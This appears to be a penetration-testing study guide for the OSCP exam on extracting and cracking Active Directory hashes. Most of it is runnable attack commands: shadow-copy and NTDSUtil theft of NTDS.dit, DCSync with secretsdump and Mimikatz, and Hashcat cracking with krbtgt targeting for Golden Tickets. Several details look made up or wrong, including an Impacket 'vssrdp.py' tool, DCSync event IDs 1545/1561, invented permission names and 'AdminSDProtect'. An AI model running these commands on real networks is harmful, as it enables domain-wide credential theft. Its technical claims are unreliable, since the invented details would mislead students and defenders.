Domain 4PrivEsc & Password AttacksCORE

NTDS.dit Extraction and Parsing

Complete guide to NTDS.dit extraction and parsing including VSS, NTDSUtil, Impacket secretsdump, DCSync, and VSSRDP methods. Covers hash extraction, parsing, and cracking the entire AD database.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#ntds-dit#active-directory#dcsync#secretsdump#vss

NTDS.dit Extraction and Parsing

1. Concept — What Is NTDS.dit?

1.1 The Active Directory Database

NTDS.dit is the core database file of Microsoft Active Directory Domain Services (AD DS). It is stored using the Extensible Storage Engine (ESE) — formerly known as the Jet Blue database engine — which is a proprietary transactional database engine developed by Microsoft.

  • File location: %SYSTEMROOT%\NTDS\ntds.dit (typically C:\Windows\NTDS\ntds.dit)
  • File format: EDB (Extensible Storage Engine Database) — a proprietary binary format, NOT a standard SQLite or SQL database
  • File size: Varies dramatically depending on domain size, from tens of megabytes to several gigabytes

1.2 What Does NTDS.dit Contain?

The NTDS.dit file is essentially the “brain” of Active Directory. It stores:

Data Type Description Attack Relevance
All domain user accounts Every user object in the domain Full account enumeration
Password hashes (NTLM) NTLM hashes for every domain account Offline cracking → plaintext passwords
LM hashes Legacy LanMan hashes (if not disabled) Trivially crackable for short passwords
Group memberships All group objects and membership Privilege escalation mapping
Computer accounts All domain-joined machines Lateral movement targets
Group Policy Objects (GPOs) Domain-wide policy configurations May contain embedded credentials
Service accounts Accounts running services Often have weak/static passwords
krbtgt account Kerberos Key Distribution Center account Golden Ticket attack material
Domain admin accounts High-privilege accounts Domain domination

1.3 Why the SYSTEM Hive Is Also Required

Extracting NTDS.dit alone is not enough. The password hashes stored inside are encrypted using a key derived from the boot key, which is stored in the SYSTEM registry hive.

  • SYSTEM hive location: %SYSTEMROOT%\System32\config\SYSTEM
  • Purpose of SYSTEM hive: Contains the boot key (also called the machine key) used by ESE to decrypt the database contents
  • Without the SYSTEM hive: You have an encrypted database you cannot parse — the hashes are unreadable

This is why every local extraction method requires both files:

NTDS.dit + SYSTEM hive → Decrypt → Parse → Extract hashes

1.4 Privileges Required

To extract NTDS.dit from a Domain Controller, you need:

  • SYSTEM-level privileges on the Domain Controller
  • The file is locked by the ntdsai.dll process while AD DS is running, which is why special extraction techniques (VSS, NTDSUtil) are needed
  • Domain Admin or Enterprise Admin membership typically grants the ability to obtain SYSTEM on a DC

Key Insight: The NTDS.dit file is always locked by the Active Directory service. You cannot simply copy it like a normal file — you must use shadow copies, dedicated utilities, or replication protocols to extract it.


2. Extraction Methods

There are five primary methods to extract NTDS.dit and the associated hashes. They fall into two categories:

Category Methods Requires DC Access Requires SYSTEM
Local Extraction VSS, NTDSUtil Physical/Console on DC Yes
Remote Extraction Impacket secretsdump, VSSRDP, DCSync Network access to DC No (DCSync) / Yes (others)

2.1 Method 1: Volume Shadow Copy (VSS)

Volume Shadow Copy Service (VSS) is a Windows feature that creates point-in-time snapshots of volumes. Attackers can leverage existing shadow copies or create new ones to access the locked NTDS.dit file.

Step-by-Step VSS Extraction

# Step 1: List existing shadow copies
vssadmin list shadows

# Step 2: If no shadow copies exist, create one
vssadmin create shadow /for=C:

# Step 3: Identify the shadow copy device path
# Output looks like: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

# Step 4: Copy NTDS.dit from the shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit

# Step 5: Copy the SYSTEM hive (REQUIRED for decryption)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Step 6: Exfiltrate both files to your attack machine
# (Use SCP, SMB share, or other exfiltration method)

Why VSS Works

VSS creates a read-only snapshot of the volume at a specific point in time. The shadow copy contains a copy of the NTDS.dit file that is not locked by the Active Directory service, allowing you to read it freely.

VSS Limitations

  • Requires SYSTEM privileges on the DC
  • May be detected by EDR solutions monitoring vssadmin usage
  • Some environments disable VSS creation for non-administrators
  • Shadow copies may be limited in number by group policy

2.2 Method 2: NTDSUtil

NTDSUtil is a built-in Windows command-line utility designed for Active Directory maintenance. Its IFM (Install From Media) mode can create a complete copy of the AD database.

Step-by-Step NTDSUtil Extraction

# On the DC itself (requires SYSTEM)
ntdsutil

# Enter the utility interactive mode
ntdsutil: ac i n
# (ac i n = activate instance ntds)

ntdsutil: ifm
# (Enter IFM mode)

ifm: create full c:\temp
# (Creates a full IFM media in c:\temp)

# This generates:
#   c:\temp\NTDS.dit
#   c:\temp\Scripts\
#   c:\temp\SystemVolumeInformation\

ifm: q
ntdsutil: q

Why NTDSUtil Works

The IFM (Install From Media) feature was designed for creating read-only domain controllers (RODCs). It generates a consistent, complete copy of the AD database that can be transported to another machine. Attackers simply abuse this legitimate administrative feature.

NTDSUtil Advantages

  • Creates a consistent copy (transactionally safe)
  • No need to deal with shadow copy paths
  • Built into Windows — no external tools needed
  • Generates both NTDS.dit and the required registry hives automatically

2.3 Method 3: Impacket secretsdump.py (Remote)

Impacket’s secretsdump.py is the most commonly used tool for NTDS.dit extraction on OSCP exams. It can remotely extract hashes from a DC without needing to physically copy files.

Basic Remote Extraction

# Extract all hashes from the DC (uses DCSync under the hood)
secretsdump.py -just-dc CORP/Administrator@192.168.1.10

# Extract using NTLM hash (pass-the-hash)
secretsdump.py -just-dc -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10

# Save output to file for later cracking
secretsdump.py -just-dc -outputfile:hashes CORP/Administrator@192.168.1.10

Local Parsing (After Manual Extraction)

# If you already have NTDS.dit and SYSTEM files locally
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Output to file
secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile:hashes LOCAL

Output Format

CORP.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
CORP.local\jdoe:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
CORP.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d636906e23ee7c7f872ce4e2fa8094e5:::

Format breakdown: domain\username:RID:LM_Hash:NTLM_Hash:::

2.4 Method 4: VSSRDP (Remote Shadow Copy via RDP)

VSSRDP exploits the RDP Dynamic Virtual Channel protocol to create and access volume shadow copies remotely through an RDP session. This technique was popularized by the vssadmin abuse over RDP channels.

How VSSRDP Works

Attacker Machine                    Domain Controller
     |                                    |
     |------ RDP Session --------->|------|
     |                              |      |
     |<-- Dynamic Virtual Channel --|------|
     |                              |      |
     |--- VSS Create Shadow ----->|------|
     |                              | Creates shadow copy
     |                              | Copies NTDS.dit + SYSTEM
     |<-- File Data --------------|------|

Using VSSRDP

# Using the vssrdp.py script from Impacket
vssrdp.py CORP/user:password@192.168.1.10

# This creates a shadow copy via RDP and downloads:
#   - NTDS.dit
#   - SYSTEM hive

VSSRDP Advantages

  • Works over standard RDP (port 3389)
  • Does not require SMB access to the DC
  • Bypasses some network segmentation controls
  • Useful when DC has restricted SMB but allows RDP

VSSRDP Limitations

  • Requires valid credentials with RDP access
  • Requires sufficient privileges to create shadow copies
  • May be blocked by RDP security configurations
  • More complex setup than secretsdump

2.5 Method 5: DCSync (Deep Dive)

DCSync is arguably the most powerful and stealthy technique for extracting AD hashes. It does NOT touch the NTDS.dit file at all. Instead, it tricks the DC into replicating password data to the attacker.

How DCSync Works

DCSync abuses the Directory Replication Service Remote Protocol (MS-DRSR), which is the legitimate protocol Domain Controllers use to replicate AD data between each other.

Normal DC Replication:                    DCSync Attack:
┌──────────┐                              ┌──────────┐
│  DC-1    │  DRSUAPI Replication    │  DC-1    │
│  (Master) │<=====================>│  (Target) │
└──────────┘                              └──────────┘
     │                                            │
     │  Legitimate RODC/DC                       │  Attacker pretends to be
     │  requesting replication                   │  a new DC asking for data
     │                                            │
┌──────────┐                              ┌──────────┐
│  DC-2    │                              │ ATTACKER│
│  (RODC)  │                              │ (DCSync)│
└──────────┘                              └──────────┘

The attack flow:

  1. Attacker authenticates to the target DC using a privileged account
  2. Attacker’s tool calls DRSUAPI functions (DsGetNCChanges, DsReplicate)
  3. The DC believes the attacker is a new Domain Controller requesting replication data
  4. The DC sends back all the replication data, including NTLM hashes
  5. Attacker receives hashes without ever touching NTDS.dit

DCSync via Mimikatz

# Extract hash for a specific user
mimikatz # lsadump::dcsync /user:CORP\Administrator /domain:CORP.local

# Extract krbtgt hash (for Golden Ticket)
mimikatz # lsadump::dcsync /user:CORP\krbtgt /domain:CORP.local

# Extract all users (iterate through RIDs)
mimikatz # lsadump::dcsync /domain:CORP.local /all /csv

DCSync via Impacket secretsdump.py

# Extract NTLM hashes for all domain accounts
secretsdump.py -just-dc-ntlm CORP/Administrator@192.168.1.10

# Extract all secrets (NTLM + AES keys)
secretsdump.py -just-dc CORP/Administrator@192.168.1.10

# Using hash instead of password
secretsdump.py -just-dc -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10

Privileges Required for DCSync

DCSync does NOT require SYSTEM on the DC. Instead, it requires one of these AD permissions:

Permission How to Obtain Scope
Replicating Directory User Default for Domain Admins, Enterprise Admins, Domain Controllers Can replicate any user’s data
Replicating Directory Topology Default for Domain Admins, Domain Controllers Can replicate topology + user data
Read-Only Replication RODC setup grants this Limited replication rights

Critical Insight: Any account that is a member of Domain Admins, Enterprise Admins, Account Operators, or Backup Operators (with additional steps) can perform DCSync. This is why compromising a Domain Admin account is so devastating — it immediately enables DCSync against the entire domain.

Why DCSync Is Preferred

  1. No file extraction needed — hashes come over the network protocol
  2. No SYSTEM required on DC — just network access + privileged credentials
  3. Stealthy — looks like normal AD replication traffic
  4. Selective — can target specific accounts without dumping everything
  5. No artifacts on DC — no copied files, no shadow copies created

3. Parsing NTDS.dit

When you have physically extracted NTDS.dit and the SYSTEM hive, you need to parse them to extract the hashes.

# Parse locally extracted files
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Save to file
secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile:hashes LOCAL

# This generates:
#   hashes.ntds  — NTDS hash entries
#   hashes.secrets — Machine account secrets
#   hashes.lsa    — LSA secrets

3.2 Understanding the Output Format

CORP.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
Field Value Description
Domain\Username CORP.local\Administrator Account identifier
RID 500 Relative Identifier (built-in admin = 500)
LM Hash aad3b435b51404eeaad3b435b51404ee LanMan hash (disabled = this constant value)
NTLM Hash 5835048ce94ad0564e29a924a03510ef The hash you want to crack
Remaining ::: Reserved fields

Note: The LM hash aad3b435b51404eeaad3b435b51404ee indicates LM hashing is disabled (default since Windows Vista/Server 2008). This is a null/empty LM hash marker.

3.3 Converting to Hashcat Format

The secretsdump output is already in a format Hashcat can consume. However, you may need to strip the domain prefix:

# The output is directly usable by hashcat mode 1000
# Format: username:rid:lm:ntlm:::
# Hashcat accepts this format natively for mode 1000

# If you need clean NTLM-only hashes:
grep -v 'aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee' hashes.ntds > ntlm_only.txt

4. Cracking NTDS Hashes

4.1 Hashcat — Mode 1000 (NTLM)

# Basic attack with wordlist
hashcat -m 1000 -a 0 ntds_hashes.txt rockyou.txt

# With rule-based mutation (recommended)
hashcat -m 1000 -a 0 ntds_hashes.txt rockyou.txt -r rules/best64.rule

# Multiple rule files for coverage
hashcat -m 1000 -a 0 ntds_hashes.txt rockyou.txt -r rules/best64.rule -r rules/one337.rule

# Remove already cracked hashes from input
hashcat -m 1000 -a 0 --remove ntds_hashes.txt rockyou.txt

# Show cracked passwords
hashcat -m 1000 -a 0 --show ntds_hashes.txt rockyou.txt

4.2 John the Ripper Alternative

# NTLM mode
john --format=nt ntds_hashes.txt --wordlist=rockyou.txt

# Show cracked passwords
john --show ntds_hashes.txt

4.3 Strategy for Large Hash Dumps

When dealing with hundreds or thousands of hashes:

Strategy Command Purpose
Quick win hashcat -m 1000 hashes.txt rockyou.txt Catch common passwords first
Rule-based hashcat -m 1000 hashes.txt rockyou.txt -r best64.rule Catch mutated common passwords
Remove cracked hashcat -m 1000 --remove hashes.txt rockyou.txt Focus on remaining hashes
Mask attack hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d Target specific password patterns
Markov hashcat -m 1000 hashes.txt -O -j -k Use Markov chain optimization
GPU optimization hashcat -m 1000 hashes.txt wordlist.txt -O -w 3 Maximize GPU throughput

4.4 Prioritizing Targets

Not all hashes are equally valuable. Prioritize cracking in this order:

  1. krbtgt — Enables Golden Ticket attack (total domain compromise)
  2. Domain Admins — Immediate domain control
  3. Enterprise Admins — Forest-wide control
  4. Service accounts — Often have weak passwords, useful for lateral movement
  5. Regular users — May lead to privilege escalation paths

5. DCSync Deep Dive

5.1 The DS-Replication Protocol

DCSync exploits the MS-DRSR (Directory Replication Service Remote) protocol. This is the same protocol that:

  • New Domain Controllers use during initial replication
  • RODCs use to request password data
  • DCs use for inter-DC synchronization

5.2 DC Simulator Concept

When you run DCSync, your tool acts as a DC Simulator — it pretends to be a new Domain Controller joining the domain:

Step 1: Attacker authenticates with privileged credentials
Step 2: Tool calls DsBind() — binds to DRS service
Step 3: Tool calls DsGetNCChanges() — requests naming context changes
Step 4: DC responds with replicated data including password hashes
Step 5: Tool extracts NTLM hashes from the replication stream

5.3 Why DCSync Doesn’t Need SYSTEM on DC

Traditional extraction (VSS, NTDSUtil) requires SYSTEM because:

  • NTDS.dit is a locked file on disk
  • Only SYSTEM can access it through shadow copies

DCSync bypasses this entirely because:

  • It uses the network protocol (DRSUAPI over RPC)
  • The DC voluntarily sends the data
  • No file access on the DC is needed
  • Only requires appropriate AD replication permissions

5.4 Required AD Permissions

Permission Default Groups What It Allows
DS-Replication-Get-Changes Domain Admins, Enterprise Admins, DCs Replicate any object
DS-Replication-Get-Changes-All Domain Admins, Enterprise Admins, DCs Replicate all objects including passwords
DS-Replication-Get-Changes-In-Filtered-Set RODCs Limited replication (filtered set)

Exam Tip: If you find an account that has been granted DS-Replication-Get-Changes-All (even if it’s not a Domain Admin), you can run DCSync with that account. This is a common misconfiguration to look for.


6. Attack Workflow

6.1 Complete Attack Chain

flowchart TD
    A[Gain Access to Network] --> B{Target Assessment}
    B -->|Have DC Credentials| C[Remote Extraction Path]
    B -->|Have SYSTEM on DC| D[Local Extraction Path]

    C --> C1{Choose Method}
    C1 -->|Best Option| C2[DCSync via secretsdump.py]
    C1 -->|Alternative| C3[VSSRDP Remote Shadow Copy]
    C1 -->|Mimikatz| C4[lsadump::dcsync]

    D --> D1{Choose Method}
    D1 -->|Shadow Copy| D2[vssadmin + copy]
    D1 -->|Built-in Tool| D3[NTDSUtil IFM]

    C2 --> E[Hashes Extracted Remotely]
    C3 --> F[NTDS.dit + SYSTEM Downloaded]
    C4 --> E
    D2 --> F
    D3 --> G[Full IFM Media Created]

    F --> H[Parse with secretsdump.py]
    G --> H
    E --> I[Hashes Ready]
    H --> I

    I --> J[Hashcat Mode 1000 Cracking]
    J --> K{Cracked?}
    K -->|Yes| L[Plaintext Passwords]
    K -->|No| M[Pass-the-Hash with NTLM]

    L --> N[Full Domain Compromise]
    M --> N

    N --> O[Post-Exploitation]
    O --> O1[Golden Ticket with krbtgt]
    O --> O2[Lateral Movement]
    O --> O3[Persistence]

6.2 Quick Reference: Command Cheat Sheet

# ===== REMOTE EXTRACTION (Preferred) =====

# DCSync — all hashes
secretsdump.py -just-dc CORP/Administrator@10.10.10.10

# DCSync — NTLM only
secretsdump.py -just-dc-ntlm CORP/Administrator@10.10.10.10

# DCSync — with hash (no password needed)
secretsdump.py -just-dc -hashes :NTLM_HASH CORP/Administrator@10.10.10.10

# DCSync — save to file
secretsdump.py -just-dc -outputfile:hashes CORP/Administrator@10.10.10.10

# ===== LOCAL EXTRACTION =====

# VSS Method (on DC)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

# NTDSUtil Method (on DC)
ntdsutil -> ac i n -> ifm -> create full c:\temp -> q -> q

# Parse extracted files
secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile:hashes LOCAL

# ===== MIMIKATZ DCSYNC =====

mimikatz # lsadump::dcsync /user:CORP\Administrator /domain:CORP.local
mimikatz # lsadump::dcsync /user:CORP\krbtgt /domain:CORP.local

# ===== CRACKING =====

hashcat -m 1000 -a 0 hashes.ntds rockyou.txt -r rules/best64.rule

7. Defense and Detection

7.1 Detection Indicators

Method Detection Signal Where to Look
VSS vssadmin create shadow execution Sysmon Event ID 1 (Process Creation), PowerShell logs
NTDSUtil ntdsutil.exe with IFM arguments Sysmon Event ID 1, Windows Security logs
DCSync DRSUAPI calls from non-DC machines Event ID 1545 (DS Access), Event ID 1561 (DRS Get Changes)
secretsdump SMB/RPC connections from attacker IP Firewall logs, NetFlow, Event ID 4624 (Logon)
VSSRDP RDP dynamic channel shadow copy ops RDP logs, Event ID 1545

7.2 Key Windows Event IDs for DCSync Detection

Event ID Description Significance
1545 Directory Service Access User performed replication operation
1561 Directory Service Replication DRS Get Changes call made
4662 Object Access Access to AD object with replication rights
4624 Successful Logon Logon from unusual source to DC
4672 Special Privileges Assigned SYSTEM/admin privileges acquired

7.3 Mitigation Strategies

Control Description Effectiveness
Admin SD Protection Protects sensitive groups from unauthorized changes Medium
Privileged Access Workstations (PAW) Isolated workstations for admin tasks High
Monitor DRSUAPI from non-DCs Alert on replication from unusual sources High
Restrict Domain Admin logons Limit where DA accounts can authenticate High
LSA Protection / Credential Guard Protects credentials in memory Medium (not anti-DCSync)
Azure AD PIM Just-in-time privileged access High
Reduce Domain Admin membership Minimize accounts with DCSync rights High

7.4 The AdminSDProtect Limitation

AdminSDProtect protects sensitive groups (Domain Admins, etc.) from unauthorized ACL modifications. However:

  • It does NOT prevent DCSync — DCSync rights come from group membership, not object ACLs
  • It does NOT protect against VSS or NTDSUtil extraction
  • It is effective against ACL-based attacks (like ACL abuse, ACE injection)

8. OSCP Exam Tips

8.1 Most Likely Exam Scenario

On the OSCP exam, the most common NTDS.dit-related scenario is:

  1. You compromise a machine with Domain Admin credentials (or obtain them)
  2. You use secretsdump.py -just-dc to extract hashes from the DC
  3. You crack the hashes with Hashcat
  4. You use cracked passwords or pass-the-hash to access other machines

8.2 Essential Commands to Memorize

# This is THE command you need to know for the exam
secretsdump.py -just-dc DOMAIN/Username@DC_IP

# If you only have a hash (no password)
secretsdump.py -just-dc -hashes :HASH DOMAIN/Username@DC_IP

# If you need to extract krbtgt specifically
secretsdump.py -just-dc-user 'krbtgt' DOMAIN/Username@DC_IP

8.3 Common Pitfalls

Pitfall Solution
Forgetting the domain prefix Always use DOMAIN/Username@IP format
Using wrong hash format NTLM hash goes after : in -hashes :ntlm
Trying to crack LM hashes Skip aad3b435b51404eeaad3b435b51404ee — it means LM is disabled
Not checking for krbtgt Always extract krbtgt — it enables Golden Ticket
Forgetting the SYSTEM hive NTDS.dit alone is useless without SYSTEM for decryption

8.4 When to Use Which Method

Situation Best Method
You have Domain Admin credentials + network access to DC secretsdump.py -just-dc (DCSync)
You have SYSTEM shell on the DC NTDSUtil IFM or VSS
DC blocks SMB but allows RDP VSSRDP
You need a specific user’s hash Mimikatz lsadump::dcsync /user:target
You have the NTDS.dit file locally secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

8.5 Time-Saving Tips

  1. Always extract krbtgt first — if you crack it, Golden Ticket = instant root
  2. Use --remove flag in Hashcat — avoids re-cracking already solved hashes
  3. Start with rockyou.txt — covers the majority of exam passwords
  4. Pass-the-hash is faster than cracking — if you just need to move laterally, use the NTLM hash directly with psexec.py or wmiexec.py
  5. Check for AES keys too — secretsdump.py -just-dc extracts AES keys which work for Kerberoasting and other Kerberos attacks

9. Summary Table

Aspect Details
Target File %SYSTEMROOT%\NTDS\ntds.dit
Required Companion %SYSTEMROOT%\System32\config\SYSTEM
Database Engine Extensible Storage Engine (ESE/Jet Blue)
Contains All domain accounts, NTLM hashes, groups, GPOs, computer accounts
Privilege Needed (Local) SYSTEM on Domain Controller
Privilege Needed (DCSync) Replicating Directory User/Read-Only Replication AD rights
Best Remote Tool secretsdump.py -just-dc
Best Local Tool NTDSUtil IFM or VSS
Hashcat Mode 1000 (NTLM)
Output Format username:rid:lm:ntlm:::
Most Valuable Hash krbtgt (enables Golden Ticket)
Detection Event IDs 1545, 1561, 4662, 4624